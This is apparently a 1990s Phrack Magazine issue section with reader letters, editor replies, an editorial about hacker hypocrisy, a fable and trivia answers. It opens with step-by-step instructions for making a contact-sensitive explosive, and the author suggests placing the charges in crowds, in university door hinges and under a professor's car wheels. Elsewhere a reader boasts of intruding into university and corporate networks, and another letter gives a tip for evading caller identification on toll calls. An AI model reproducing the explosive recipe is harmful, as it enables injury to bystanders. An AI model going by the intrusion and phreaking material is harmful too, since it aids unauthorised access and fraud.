1‑Iodine Crystals 1‑Funnel & filter paper

(coffee filters work pretty well)

2‑Clear household Ammonia

(or pure ammonia for the

clinically insane) 2‑ 2 glass jars

Ammonia Triiode is a blackish crystal which explodes under heat inpact producing a toxic gas which stains everything around it purple (some serious vandalism potential here). WARNING ‑‑ be sure to use an ammonia which is impure; crystals made with pure ammonia will explode if touched or in sunlight!

1) Place about two teaspoons of iodine into one of the glass jars and add enough ammonia to completely cover the crystals.

2) Put the paper into the funnel and place the funnel over the other jar.

3) Let the iodine soak in the ammonia for a few minutes (5) and then filter the solution into the other jar.

4) Take the purplish crystals from the filter paper and dry them on a piece of paper towel, separating them into smallish pieces. (you'll probably want to dry them in a cool, dark place which would look good painted a blackish purple, in case the crystals detonate)

8) After the crystals dry gently place each piece onto a square of tape (opaque duct tape or, electrician's tape work best) and put a piece of tape over them. _GENTLY_ press the tape together _AROUND_ the crystal.

Once made the crystals will last a week. When detonated they produce a bang and a cloud of gas but no flame. In other words, their perfect for putting on the ground in crowds, in the hinges of your University's doors, in front of the wheels of your favorite professor's car etc.

ragline

[Ahhh, sweet destruction. Listen, recipes like this one are very DANGEROUS. Do not attempt to do this. Phrack will take no responsibility for any damages or injuries resulting from anyone constructing the above.

About the SprintNet scan...Phrack doesn't publish passwords. If you were any kind of hacker at all, you would enjoy trying to get them yourself. Does your mommie still tuck you in to bed too?

About subscribing through CompuServe, I don't know what you may have read in the past, but Phrack has many CompuServe subscribers. Try requesting a subscription. Everything should work out fine.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey. I'm an editor of a magazine being put together in Toronto, and I'd like to ask to use your disclaimer. I'll not bore you with the blabberings of how 'el33+e' this mag will be, as I'm sure you just *love* those type of messages. (Note: The mag's called, 'Ban This', if you see it around, I'd appreciate any feedback you can give.)

Anyhow, thanks for listening.

[Feel free to use the disclaimer. It would be best if you mentioned Phrack somewhere in there as well.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx

IT'S BACK!!!!W$#@$#@$

_‑_‑_‑_‑_

(

( B00m )

(

CAU \ / CAU

__||__

"We WiLL BloW /‑‑‑/|_____|\‑‑‑‑\ uP YoUr CaR!"

/CaU‑__WuZ__‑HeRe\‑

(0) (0)

fARM R0Ad 666

_ _ PaRt II _ _

((___)) (713)855‑0261 ((___))

[ x x ] x x ]

\ / cDc SySoP: EighT BaLL \ / cDc

(' ') COs: M.C. AllaH (' ')

(U) K‑C0W F0RCe ChilliN (U) K‑C0W F0RCe

Nitzer EbB

' CAU HomesitE ' CAU Member SitE

' cDc Factory Direct OutleT(KCF) ' 0b/GyN Member SitE ' Pure Hack/Phreak OrienteD ' Serious Hack/Phreak DiscussionS ' Flashback SoftwarE ' No RatioS

' 24oo‑14.4 bpS ' Exophasia Submission SitE(ThP)

xXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx

[Call now and watch 8‑Ball shoot up!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Digital Highways magazine is an Alternative & Metal Magazine.

We Have Reviews of many Local bands from all over USA and National bands. We have Press Releases, Concert Information, National Tours, Local tours, and small tours (small bands) to the large world‑wide known bands. Top 10 Music Lists, Information on how to get Free to Really Cheap info. from the music industry. PLUS poetry (alternative) and other info from what's coming out in the stores or who's recording and what not.

all of this for $2 for US and Canada (US Funds only) And for Foreign People its 4 dollars Us funds.

As my best deal goes.. if you send in a demo tape for review (it must be your band's), or if you send in poetry and we publish it you get one free issue. Demo tape senders get a free issue no matter what, and you always get a review. we have FREE classifieds. All subscribers can get free listing. (we may edit or drop any ad, and we may not publish all ads.)

This is the first issue, so send away! to this address rem US/CAN 2$ other 4$

Digital Highways

Po Box 38

Troutville,Va 24175

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi Erik Bloodaxe,

I am a student of Computer Science at University of Salerno (South‑Italy), near Naples.

I have so many copies of Phrack Magazine and I think that You are the Best in the Computer Underground Community.

So I leech Your Magazine from many BBS (the ones with the h0ttest H/P/CC Area) like this:

+49‑58618795 NightBox

+46‑18262804 EaglesNest

+1‑5152553212 Down of Immortality (ex Pirate's Ship TRSi/WHQ) ( here there the my friend SysOp Mike Bockert best known a.k.a THE SKELETON / TRSi‑TDT ) +1‑2018184894 TUGO The UnderGround OASIS ‑‑‑> ZZC USHQ +598‑2‑497108 Abn0rmal States

+598‑2‑421996 ( here there is another SysOp friend of mine +598‑2‑421994 named Alex a.k.a L0neW0lf ) +1‑2019394543 Fastrax

+1‑2019397597 |||

+1‑2019398448 |||

+1‑2014607022 |||

+1‑2014609523 |||

+1‑7183975413 The Pit

+1‑7183975532 |||

+1‑7183975520 |||

+1‑7183975442 |||

+1‑7185074605 |||

+1‑3133832116 Pirates Heaven ( The best SysOp I've seen: Nitro) +1‑7166554940 The Edge

+39‑744302593 Temple Of Gurus ( Tecn[0]brains WHQ ) SysOp: POWS/TCB

+39‑744305366 | |

+39‑744305547 | |

+39‑238003442 Asylum BBS

+39‑24500837 Pier BBS Node 0

+39‑24582105 ||| Node 1

Excuse me for the awful list (I am on many others BBS too !!!!) and note the my handle is usually _/ane but my real Identity/Handle is PLiNi0 iL VeCCHi0 and the Location I used to write is GReeNiSLaND (because the second‑name that usually identify the Island of Ischia where I live with my parents: Ischia is a island located in middle Naples's Bay near the Island of Capri)... so I like to be called as

PLiNi0 iL VeCCHi0 / uNiTeD PHReHaCKeRS oF GReeNiSLaND or best ‑u‑.‑P‑.‑G‑

My best works come in Unix Environment on BSD 4.x , Ultrix , SunOs and Multimax of Encore Corporation: I hacked the Italtel Network, the National Council of Research best known in Italy as C.N.R. or CNR, and many host at University of Naples, Rome, Salerno and Venice... Starting by Italtel Telematica in Milan I was at point of hack the HQ of AT&T in Bruxelles because many users of Italtel Telematica in Milan worked in AT&T too... but to get some examination at University (Like Fisics II and Cibernetica) I must abandon this k()()l work (but I'm interested to restart at AT&T).

So in the ‑= Phrack 42 =‑ I read this as follow:

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

||||||||||||||||||||||||||||||||||||||||

\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/

In the same number of Phrack Magazine I read about TheNewHacker in North Italy (in Torino) that was interested to get in contact with hackers. Ok, maybe I was a little hacker, but I stay in South Italy ( I am located in Island of Ischia, near Napoli, U know !!!)... Anyway if U can give my E‑mail address to TheNewHacker and give me the E‑mail of TheNewHacker I will be so glad too... I was interested in contributing to write for a compilation file on the hacking scenes in Italy and France too (I have a friend that works at MATRA‑ESPACE for ESA best known as European Spazial Agency located in Toulouse). So lemme known if I can help Your Magazine with my contributions and/or my work.

A last thing ....

can You, Dear Erik Bloodaxe, give me some Internet address of BBS or FTP Sites with Underground Stuff or any kind of other K()()l stuff ?! (P.S. Can I get Phrack Magazine via FTP at any sites ?!??!)

[Hey man, Thanks a lot for the BBS list. I don't really call BBSes much, but I'm sure our readers will get a lot of use out of them!

About writing files, GO FOR IT! We always need files. Feel free to send us anything you have written and want to publish!

I will forward your info on to TheNewHacker in Italy. Maybe you two can take Italy by storm. Haha!

Phrack's FTP site is ftp.netsys.com. All issues can be found there. also zero.cypher.com has a lot of files for ftp.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi. I've been spending all my free time reading through phreaker files and all of the old Phracks. And, I was wondering if you are still there???

If so, I need your help! Here's the story:

On August 3, 1993 I was indicted on charges that my company attempted to rip AT&T off of nearly $2MM in 1991. They say we started a 900# and went around the country calling it from Pay Telephones.

They say that we went to a truck stop in Oregon and called the number 43,000+ times racking up an $800,000+ phone bill.

They claim that computers were probably used, although I have seen no evidence of that.

These pay telephones are those AT&T Black Phones; you know, the ones in the airports. They are owned by AT&T, built by AT&T, designed by AT&T, and even billed to AT&T.

The evidence consists of nothing more than ANI reports. Some phone bills to back them up, but for the majority of it, they are using only ANI. Now, we all know that any can be blocked by having the operator get you a call. And it can be changed by dialing 0, having her get you 1‑800‑321‑0288, then having the toll free call be made. In some areas, 900 calls slipped through that way, but it would be pretty hard to do 43,000 times.

My point is, there are probably flaws with ANI. Someone who knows what they are doing may possibly be able to block or change ANI. Or maybe these calls were never put through. Maybe someone got into the CO, etc...

What I need is someone who has knowledge of possible flaws with AT&T's theory. Enough that could give reasonable doubt and appear as an expert witness or point out where we could find someone.

If you know of someone who might be able to help, please respond. My INTERNET ID is NOFRIENDS@AOL.COM or I have set up a FAX @ 1‑800‑572‑4403.

Remaining,

NOFRIENDS

[43000? Like a 43 and 3 zeros? Jesus. That's a lot of calls. I really don't understand how they can be charging you with something hey say was done from a payphone. Do they have pictures of you at the phone making the calls? Sounds like a load of crap and any lawyer should be able to get the charges dropped based on such flimsy evidence.

As far as there being a problem with ANI, I don't think that's an issue. I've never heard of anything like this happening in the past, but there always could be a first time. Something is obviously amiss, but my gut reaction is that the Phone Company is lying about there being such records.

Get a lawyer and demand the records be turned over during discovery. Then maybe you can see what you are up against. GET A LAWYER!@#]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, I'd like to subscribe to Phrack and all upcoming issues (44+). Thanks. BTW, when is 44 scheduled for?

Ciao,

spirit‑hex@prometheus.mtlnet.org

PS: My board carries all PHRACK issues. I have around 4000 *quality* text files on my system. It's called operation prometheus at 514‑735‑4340. do you think you could post a small ad. for it in your magazine? We have FTP access/150 Usenet news/Internet accounts for members, ect.. (2 nodes at 14,400 baud). Thanks!

[There you go!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hey, if you are having problems with people breaking the registration agreement as outlined in your last couple issues of Phrack. i may be able to help, and then I may not. My neighbor is a good friend, and fraud investigator. She is aware of my hobbies one of which involves Phrack. She thinks it is really neat what I am able to do with computers / modem. I am speaking somewhat candidly here but I am sure that you are smart enough to get my point. Well she handles some stuff like the David Koresh thing and helping the ATF/FBI with other cases. She likes the stuff that is too complicated for the FBI, all in all she does the investigating and puts it into words that the FBI, ATF, USDJ, SS, Dept of Treasury/IRS can understand, so they can make an arrest. All in all what i am trying to say is I may be able to pass the word on down the line to her about these people breaking the copyright law now effective on Phrack magazine. If you would like my help on this subject, just for the simple fact she loves to do this stuff, and phrack is a regularly read magazine by myself. If you would like maybe something can be done to these hypocrites that value laws, and get people arrested for the same stuff that they are currently doing by not registering Phrack. Just let me know if you want to try to push it. I will get together w/ her and see what can be done. Hopefully she will just ask for names and get an investigation started. Never can tell tho.

L8r Sparky

[I hope to God that I never have to go through the legal nightmare of trying to prove financial damages incurred by companies "pirating" phrack.

It would be somewhat interesting to use some big company as an example, and embarrass everyone into submission, but I keep hoping that people will just be HONEST. Fuck, I may be a hacker, but I'm honest about it.

"Chris, have you broken into other people's computers?"

"Yes, yes I have."

"Company, do your people read Phrack without registering your subscriptions?" "Uh, well, no, we used to read Phrack, uh, but we don't anymore."

You all suck. You know who you are. How can you live with yourselves?]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you don't already have the direct‑dialup number for

the student annex of the University of Adelaide for Phrack 44, here it is:

+61‑8‑223‑2657

there are eight 2400 baud modems, but at the moment one is dead.

[Cool. International University Dialups!

Our big US list is still being compiled, so everyone keep sending in your school's dialups. Its taking me forever to do this alone.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi Chris....

Was thinking...seeing as you guys are in texas, how about an article on EDSNET ??

(There are dialups down here to it, via INFONET)

[If EDSNET is what I think it is, didn't it used to be called Pac*It Plus?

I had a scan of it a LOOOONG time ago when everyone used it to call altger and tchh. If anyone has a scan of it, or wants to do one, please send it to Phrack!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, what IS new in cyberspace? lyl libido

[BILLY IDOL SPEAKS! OHMIGOD...HE TALKED TO ME! OH MY! I THINK I'M GONNA MESS UP MY PANTS! BILLY IDOL! OH GOD OH GOD OH GOD! O H M Y G O D ! !

Whew. Someone get the mop.

What's new? Well, all kinds of people have jumped on the Express Lane of the Information Highway and have tried to make a new name for themselves by exploiting a concept they know nothing about purely as a marketing move. Gotta love it.

Bob, I'll take Billy Idol in the Center Square to block...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Thought you guys at Phrack might be interested in this small phile, if you don't already have it. It's simply a form letter to the FBI requesting all information they on file about you under the Freedom of Information Act and Privacy Act. They MUST respond, by law, or they face legal penalties. Traditionally what they do is ignore your request unless they think you have enough money to go to court (i.e, you work for the New York Times or something).

Really enjoyed Phrack #43 (as usual) ‑ keep up the good work! (file follows signature)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Doug

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PRIVACY ACT & FREEDOM OF INFORMATION ACT REQUEST

Name

Street Address

City, State, Zip Date

Federal Bureau of Investigation

Records Management Division ‑ FOIA/PA Office

9th & Pennsylvania Avenue NW

Washington, DC 20535

Gentlemen:

This is a request under the provisions of both the Privacy Act

(5 USC 552b) and the Freedom of Information Act (5 USC 522).

This request is being made under both Acts.

I hereby request one copy of any and all records about me or referencing me maintained by the FBI. This includes (but should not be limited to) documents, reports, memoranda, letters, electronic files, database references, "do not file" files, photographs, audio tapes, videotapes, electronic or photographic surveillance, "june mail", mail covers, and other miscellaneous files, and index citations relating to me or referencing me in other files.

My full name is: __________________________

My date of birth was:_______________________

My place of birth was:______________________

My social security number is:________________

I have lived in these places:__________________________________

________________________________________

Other names, places, events, organizations, or other references under which you may find applicable

records:_______________________________________

________________________________________

As you know, FOIA/PA regulations provide that even if some requested material is properly exempt from mandatory disclosure, all segregable portions must be released. If the requested material is released with deletions, I ask that each deletion be marked to indicate the exemption(s) being claimed to authorize each particular withholding. In addition, I ask that your

agency exercise its discretion to release any records which may

be technically exempt, but where withholding serves no important public interest.

I hereby agree to pay reasonable costs associated with this request up to a maximum of $25 without my additional approval. However, I strongly request a fee waiver because this is, in

part, a Privacy Act request.

This letter and my signature have been certified by a notary public as marked below.

Sincerely,

_______________________________

requester's signature

______________________________

requester's printed name notary stamp and signature

[Anyone who thinks they might be suspected of something might want to fill this out. Its not a bad idea. If YOU DON'T think you are under some kind of investigation, you probably shouldn't. No reason to give them any leads.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"We at Phrack welcome constructive criticism, but at least have the nerve to email directly, rather than hide behind an anonymous remailer. That way, someone could have responded to you in a more direct and expeditious manner."

While I agree with your general analysis of the intelligence of that reader, I have to take exception to your disparaging of the anonymous service. The anonymous service takes flak from many people constantly, but usually it is from reactionary establishment types, and it's not what I expect from phrack.

Anonymous communications have many purposes other than the sender lacking "nerve". The "the only reason to use anon mail is because you are a coward and can't stand up for what you say" argument sounds remarkably similar to the "the only reason to use cryptography is because you are a criminal and have something to hide" argument.

No doubt many criminals use cryptography and no doubt many spineless cowards use anon mail, but to disparage someone for using anon mail is similar to disparaging someone for using cryptography: even if it is in this case accurate, it spreads the misconception that there are only "dishonest" reasons to use these things. As someone with great respect for privacy that allows me to see the legitimate (and necessary to a free and democratic society) use of both secure and private communications, and anonymous communications, I know that this is not the case. I will not list legitimate uses of anonymous mail for you, because they are much the arguments for cryptography, and no doubt you know all of these. But a possibility is that the person involved would have his job/professional connections threatened if some people knew that he read Phrack and sympathized with it. Just a possibility, but if it is not true in this case it is surely easy to believe it is true in others.

Sure, for those of us who can easily get a million email accounts from various places in any pseudonym we want, anonymous mail is unnecessary. But a legitimate and secure (and respected) way to send the occasional anonymous message is much preferable to (possibly illegal) deception and fraud.

So, in short, even though the reader in question may indeed have been a spineless coward (not to mention whining nitwit), to insult him for his use of the anonymous server is harmful to the cause of anonymous mail, a cause which has few supporters and many disparagers, and a cause which the operators of the anonymous server in Finland should be commended for. Secure anonymous mail (which really doesn't quite exist yet, actually), like secure encryption, is something necessary and good for a free society and, and should not be disparaged.

[Yes, you are 100% right. I really didn't mean to dis the anonymous mail service as a whole, I just wanted to rag on the butthead who sent me an anonymous piece of hate‑mail.

I personally don't use, nor have a need to use, the anonymous mailers, but I know a lot of people do. They DO provide a much needed service to a lot of people, and you are right they should be commended on a job well done.

However, if someone wants to send me some kind of shitty piece of mail, get a pair of balls and show yourself. If you are so unsure of your comments that you need to hide, then your point must not be very valid.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Jurassic Punk" T‑shirts are now available from your phriends at CYBERPUNK SYSTEM. These 100% cotton shirts are black, with artwork on the front with the words "A subculture 5,120 years in the making."

Underneath the letter are bitstreams "11010001011101". On the back, in white is "Attitude is everything." Allegedly similar in design to the Jurassic Park logo.

Shirt $15 ea

Cap $15 ea

Color Decals $1 ea

Please include $3 per item for shipping and handling, $5 if overseas. Allow 3‑4 weeks for delivery.

CYBERPUNK SYSTEM

P.O. Box 771072

Wichita, KS 67277‑1072

Legacy@cpu.cyberpnk1.sai.com

****** STILL AVAILABLE ******

On May 24 1992, two lone Pirates, Legacy of CyberPunk System, and Captain Picard of Holodeck, had finally had enough of AT&T. Together, they traveled to the AT&T Maintenance Facility, just west of Goddard, Kansas, and claimed the property in the name of Pirates and Hackers everywhere. They hoisted the Jolly Roger skull and crossbones high on the AT&T flagpole, where it stayed for 2 days until it was taken down by security.

This event was photographed and videotaped by dGATOBAS Productions, to preserve this landmark in history. And now you can witness the event. For a limited time we are offering a 11" x 17" full color poster of the Jolly Roger Pirate flag flying high over AT&T, with the AT&T logo in plain view, with the caption; "WE CAME, WE SAW, WE CONQUERED."

Also available, by request is a 20" x 30" full color poster, and a cotton T‑shirt with the same full color picture on the front.

Prices:

11" x 17" Full Color poster...........................$10 US

20" x 30" Full Color photograph.......................$20 US T‑Shirt with picture on front.........................$20 US

If you are interested in purchasing any of the above items, simply send check or money order for the amount, plus $3 US per item for postage and handling to:

CYBERPUNK SYSTEM

P.O. Box 771072

Wichita, KS 67277‑1072

Be sure to specify size on T‑shirt.

A GIF of this is also available from CyberPunk System, 1:291/19 (FidoNet), 47:617/0 (VUARNet), 93:3316/0 (PlatinumNet), 69:2316/0 (CCi). FREQ magicname PIRATE. Also available uuencoded, send mail to Legacy@cpu.cyberpnk1.sai.com

[God bless the free enterprise system!

God bless capitalism!

God bless America!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I am unhappy to say that UPi now has dropped writing the magazine from this point on. The reason is because Arch Bishop and myself do not have the time to get everyone to write their articles, sort the magazine out, etc, etc. This does not mean the group is dead, that is not true. The group is still alive, but all future releases will be sent to Phrack for publication but under the UPI name.

If you want to get a list of all the current sites and members of UPI you can finger my internet account to get the list. If you want any of the phone number(s) for the sites, or you have any questions or anything else to say you can drop us a line. Anyways I guess that's it for now. ttyl

The Lost Avenger/UPI

Internet: mstone@nyx.cs.du.edu

Voice Mailbox: 416‑505‑8636

[Phrack appreciates this offer to donate your files to us! We're sorry to hear that your mag won't be continuing, but I know what a pain in the ass it is to put out a magazine. It SUCKS! It's a time consuming thankless task. But what the hell, I'm stupid, and I have NO LIFE! Hehe.]

****************************************

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 2a of 27

Editorial

****************************************

This is going to piss people off, but hell, that's the point of having an editorial, eh?

This issue I'd like to address something running rampant in our community: HYPOCRACY. I never really paid much attention to it, until the "Hacking At The End Of The Universe" conference in Amsterdam.

The phrase "Information Wants to be Free," almost cliche by now, was heard screaming from nearly every speaker's mouth. It underlie in the tone of the whole proceedings. Everyone was either bitching about how this should be free, or that should be available, or it shouldn't be illegal to do some particular act, or they were fervently offering their support of these ideals.

Granted, Holland has a notoriously permissive and open society; and indeed, Europe in general is far more laid back than the States, but even many in the US hold these ideals close to heart.

One of the first things that pissed me off was the hundred guilder entrance fee. That's fifty dollars! Just to get in. On top of that one had to pay for a tent, sleeping bag, mattress and food. I have no problems with paying a fee, but this was Hack‑Tic charging. One of the biggest proponents of "Information Wants to be Free!"

Obviously YOUR information wants to be free, but theirs costs a hundred guilders.

Even more shocking was the fact that nearly every session involving some kind of "technology" was geared around a Hack‑Tic product: the Demon Dialer (tm), their POCSAG demodulator, their forthcoming spread spectrum lan adapter, or the magazine itself. Were these free? Were the information behind their design provided so would‑be technoweenies could run right home and break out the soldering iron? Fuck no. Again, Hack‑Tic's information is valuable, and YOU must PAY for the luxury of viewing it. Unlike XYZ Corporation's information, whose R & D or Financials (which might bring someone a hefty "finder's fee") so desperately wants to be free of its magnetic bonds and spread all the way to YOUR hard drive.

I don't want to rag on Hack‑Tic too much. I mean, throwing a conference costs a shitload of money, and I have a GREAT deal of respect for them for actually pulling off something so monumental. I just want to put things in perspective. The major cons in America (HoHo, Scon) really don't charge. They "ask" for donations. Sure, you might get a nasty look if you don't cough up five or ten bucks, but hell, everyone does. They WANT to. A good time is worth a handfull of change. And there isn't some awesome requirement just to get in the damn door. Besides, losses can always be made up by selling a plethora of crap such as t‑shirts and videos, which everyone always wants to buy. (Hardware costs. :) )

Shifting back to America: 2600. Again, "Information Wants to be Free!" E. Goldstein, huge proponent of the slogan. Uh, do you pay five bucks an issue? I do. So, 2600's information isn't quite so eager to be free either, I guess. But, again, it does cost money to print a magazine like that, like it does to throw a conference, so certainly everyone can understand people trying to recap one's losses in a worthwhile project, right?

Enter LOD Communications BBS Archive Project. The community went apeshit when thirty nine dollars was asked for the entire results of the project. LOD? Asking for MONEY? FOR INFORMATION??? INFORMATION WANTS TO BE FREE!!!#!@$ That's disgusting!

But wait, I thought charging a little bit to try to recap losses (equipment, phone calls, disks, postage, TIME) was ok? "Oh sure it is dude, just not for you." Oh how silly of me. Of course! Thanks for setting me straight on that issue.

Then there was Phrack. Always free to the community. Always available for everyone's enjoyment. Asking only that Corporate types pay a registration fee of a hundred dollars just to keep them honest. (They aren't.) Knowing full well that they are stealing it, sometimes quite brazenly. Resting quietly, knowing that they are just as unethical as they ever claimed us to be.

We make no bones about money here. Our information is just as valuable as anyone's (probably more so) and is vastly more voluminous. Hell, Issue 43 was probably bigger than every Hack‑Tic and almost every 2600 combined. And, wait a minute, could it be? Free? Oh my god! So it is. Free in both cost and access.

Let me tell you something. Information does not want to be free, my friends. Free neither from its restraints nor in terms of dollar value. Information is a commodity like anything else. More valuable than the rarest element, it BEGS to be hoarded and priced. Anyone who gives something away for nothing is a moron. (I am indeed stupid.) I can't fault anyone for charging as long as they don't try to rationalize their reasoning behind a facade of excuses, all the while shouting "Information Wants to be Free!"

Trade secrets don't want to be free, marketing projections don't want to be free, formulas don't want to be free, troop placements don't want to be free, CAD designs do not want to be free, corporate financial information doesn't want to be free, my credit report sure as hell doesn't want to be free!

Let's take a step back: how to use a system IS information that should be proliferated, how computers network IS information that should be spread, new technologies WANT to be explained, holes ought to be pointed out, bug patches NEED to be free...note the difference?

I'll end my rant with another piece of flawed logic. At HEU a debate raged on about why phone calls should be free. Hey, I love a toll‑fraud device as much as the next guy (blue box tones still make me cry), and I've used more codes in my life than a million warez couriers and I make no bones about it...I fucking stole service! Yippee! Arrest me!

The argument stated "The lines are already there, so why should I have to pay to use an unused line?" Ok, fine, you don't...but you DO have to pay for laying fiber, designing switch generic upgrades, ATM research, compression and filtering algorithm design, video dial tone, daily maintenance, directory assistance, operator service or any of the hundreds of other things your old fee would go towards. Don't like that argument? Fine, the tents at HEU were already there and the seats had been layed out and were unused...get me my hundred guilders refunded.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Once upon a time a Pig, a Cat, a Dog, and a Little Red Hen lived together in a little house. The Pig, the Cat, and the Dog were all very lazy. The Little Red Hen had to do everything around the house by herself.

All the Pig, the Cat, and the Dog wanted to do was play.

One day, as the Little Red Hen was raking in the yard, she found some seeds. "Who will help me plant these grains of wheat?" she asked.

"Not I," said the Pig.

"Not I," said the Cat.

"Not I," said the Dog.

"Then I will do it myself," said the Little Red Hen. And she did.

Soon the wheat grew tall and golden. "Who will help me cut the wheat?" asked the Little Red Hen.

"Not I," said the Pig.

"Not I," said the Cat.

"Not I," said the Dog.

"Then I will do it myself," said the Little Red Hen. And she did.

When the grain was cut and ready to be ground into flour, the Little Red Hen asked, "Who will help me take the grain to the mill?"

"Not I," said the Pig.

"Not I," said the Cat.

"Not I," said the Dog.

"Then I will do it myself," said the Little Red Hen. And she did.

When the flour came back from the mill, the Little Red Hen asked, "Who will help me bake the bread?"

"Not I," said the Pig.

"Not I," said the Cat.

"Not I," said the Dog.

"Then I will do it myself," said the Little Red Hen. And she did.

She made the flour into dough, and rolled the dough, and put it in the oven. When the bread was baked, she took it out of the oven. Mmmmmmmmmm! Didn't it smell good!

"Who will help me eat this bread?" asked the Little Red Hen.

"I will," said the Pig.

"I will," said the Cat.

"I will," said the Dog.

"Oh, no, you won't!" said the Little Red Hen. "I found the seeds. I planted them. I harvested the grain and took it to the mill. I made the flour into bread. I did the work by myself, and now I am going to eat the bread‑‑all by myself."

And she did.

Line Noise Part I

==Phrack Magazine==

Volume Four, Issue Forty‑Four, File 3 of 27

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

PART I

****************************************

PHRACK TRIVIA

Last issue I tried something different. I tried to have a little trivia contest, giving away some prizes for the first to get all the answers. Well, I should have known that Phrack's readers

are lazy. The amount of you who actually responded was pathetic.

The winners are: dFx, Holistic, Damiano & Matt

I had planned on 5 winners. Notice how many won. I won't even say how many these guys got right, because noone came close to 100%. Obviously I'm the only trivia buff in the underground.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PHRACK TRIVIA ANSWERS

1) CCIS

Common Channel Interoffice Signalling

2) Stimpson J. Cat's Roommate is?

Ren Hoek

3) Name the cracker.

Bill Landreth

4) METAL AE password.

KILL

5) Who invented the TeleTrial?

King Blotto

6) Name Bloom County's hacker.

Oliver Wendell Jones

7) What was the Whiz Kids' computer named?

RALF

8) Western Union owned what long distance service? MetroPhone

9) What computer read both Apple ][ and IBM PC disks? The Franklin ACE

10) Who made the "Charlie" board?

John Draper

11) How many credits for a CNE?

19

12) What was in the trunk of the Chevy Malibu?

Dead Aliens

13) Name three bands A. Jourgensen had a hand in. Ministry, Revolting Cocks, Skatenigs, Pailhead, Lard, (etc.)

14) SYSTEST Password:

UETP

15) What computer makes the best Sim Stim decks? Ono‑Sendai

16) What magazine brought the telephone underground to national attention in 1971?

Esquire

17) What is the significance of 1100 + 1700 hz?

KP

18) What magazine was raided for publishing black box plans? Ramparts

19) What BBS raid spawned the headlines "Whiz Kids Zap Satellites" ? The Private Sector

20) CLASS

Custom Local Area Signalling Services

21) What computer responds "OSL, Please" ?

NT SL‑1

22) RACF secures what OS?

MVS

23) The first person to create a glider gun got what? $50.00

24) QRM

Interference from another station or man‑made source

25) PSS

Packet Switch Stream

26) What PSN was acquired by GTE Telenet?

UniNet

27) 914‑725‑4060

OSUNY

28) April 15, 1943

Discovery of LSD

29) 8LGM

8‑legged Grove Machine

30) WOPR

War Operations Planned Response

31) What happened on March 1, 1990?

Steve Jackson Games Raided By Secret Service

32) Port 79

Finger

33) Who starred in the namesake of Neil Gorsuch's UNIX security mailing list?

Sean Connery

34) What Dutch scientist did research in RF?

Van Eck

35) What was the author of GURPS Cyberpunk better known as? The Mentor

36) Who would "Piss on a spark plug if he thought it would do any good?"

General Berringer

37) What thinktank did Nickie Halflinger escape from? Tarnover

38) NCSC

National Computer Security Center

39) Who is Pengo's favorite astronomer?

Cliff Stoll

40) What language was Mitnik's favorite OS written in? BLISS

41) Abdul Alhazred wrote what?

The Necronomicon

42) The answer to it all is?

42

43) Who is the father of computer security?

Donn B. Parker

44) Who wrote VCL?

Nowhere Man

45) What kind of computer did Cosmo have?

A Cray

46) Hetfield, Ulrich, Hammet, Newstead

Metallica

47) What company wrote the computer game "Hacker?" Activision

48) Who does Tim Foley work for?

US Secret Service

49) Who played Agent Cooper?

Kyle MacLachlan

50) Vines runs over what OS?

AT&T Sys V. UNIX

